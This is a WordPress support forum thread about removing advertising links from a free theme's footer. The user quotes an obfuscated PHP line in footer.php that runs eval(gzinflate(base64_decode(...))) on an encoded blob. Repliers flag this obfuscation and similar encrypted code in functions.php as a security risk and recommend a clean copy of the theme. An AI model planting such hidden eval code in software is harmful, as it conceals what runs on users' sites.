Support » Themes and Templates » Get rid of annoying “ad links” in footer

  • Resolved web-betty

    (@web-betty)


    Hello,

    I’m using a template I found at this site: http://3columnwordpressthemes.com/ (the template is actually found here: http://3columnwordpressthemes.com/themes/family/ Bewildered 1.0). I believe in leaving credit info on the blog, however, the links at the footer are advertisements and not credit to the author/designer. I’ve looked at the footer code, and can’t seem to figure out how to edit it.

    The blog is: http://www.web-betty.com/10things. The code in footer.php:

    <?php $J3279f85bac70dfffbfdda62b0f190e76=’pZCxDsIgEIZ3nuLCUh0ouyJd3J18AFquQFKBALU+vq3tYExMTLzt8v/35fI1kiwjtLtDN6icT7QPoWAq+ChUEtFEG6EdgnG+D7vKqxtW+yM0EkSbgM8NBTZhf6K2lHjgfJqmWqNJiJlpzM54ZpKK1nUs+MF5rBcSUHl5bbCFsHZhPRVcSWDwnb2x2Og1phmhR1U+ydf3DM6/gf98mgg+q9ykLu7IEw==’;eval(gzinflate(base64_decode($J3279f85bac70dfffbfdda62b0f190e76))); ?>

    Any ideas? 🙂

Viewing 6 replies - 1 through 6 (of 6 total)
  • Hi Betty, just delete the code in the footer. Open footer.php using notepad or so, and then add your copyright:

    &copy;2008 <a href="http://www.web-betty.com/" target="_blank"><strong>web-betty.com</strong></a> | Powered by: <a href="http://wordpress.org/" target="_blank"><strong>WordPress</strong></a>

    Please note that with the code provided, the links will open in a new window. Also you can add a link to the author’s website.

    Hope this helps

    Hi, Betty. Repairing the footer would be a snap, but the functions.php file in that theme has had several lines of encrypted content added to it as well. My opinion, for what it is worth, is that encryption of this type should be considered a potential security risk. Obfuscated code can do many things, regardless of the stated intent for encryption. Sometimes very questionable things.

    You can find the theme here: //www.dedicatedwpthemes.com with only the footer encrypted. Someone has obviously altered and repackaged it with the encrypted functions.php file. My advice is to find a new theme. The decision is of course, up to you.

    Probably more than you wanted to know! 🙂

    Thanks for the helpful reply. I was thinking of trying that, I know that I can always re-upload my backup file. I’m always so hesitant to change stuff like this, though. I know just enough about WP to be dangerous. 🙂

    Thanks again!

    Ok, so I fixed the header, but hadn’t read the comment by ClaytonJames. Can I simply download the theme from the dedicated site you reference, and upload the functions.php file? Or should I install the entire thing? The blog is new, so I haven’t made too many modifications to it yet.

    Ok, I answered my own question 🙂

    I simply replaced the functions.php with the “clean” version and didn’t see any problems.

    Now, if I could get a response to my question about adding comments on pages, not just posts, I think I’d be all set (for now, anyway).

    Thanks again!

    I hope this is not poor advice…

    open page.php with a text editor and look for this:

    <?php endwhile; else: ?>
    <?php _e('Sorry, no posts matched your criteria.'); ?>
    
    <?php endif; ?>

    change it to this:

    <?php comments_template(); ?>
    
    <?php endwhile; else: ?>
    <?php _e('Sorry, no posts matched your criteria.'); ?>
    
    <?php endif; ?>

    …and test the results.

    [Edit] oops!!!

    Never mind…I just saw your other thread. Glad you got it fixed.

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘Get rid of annoying “ad links” in footer’ is closed to new replies.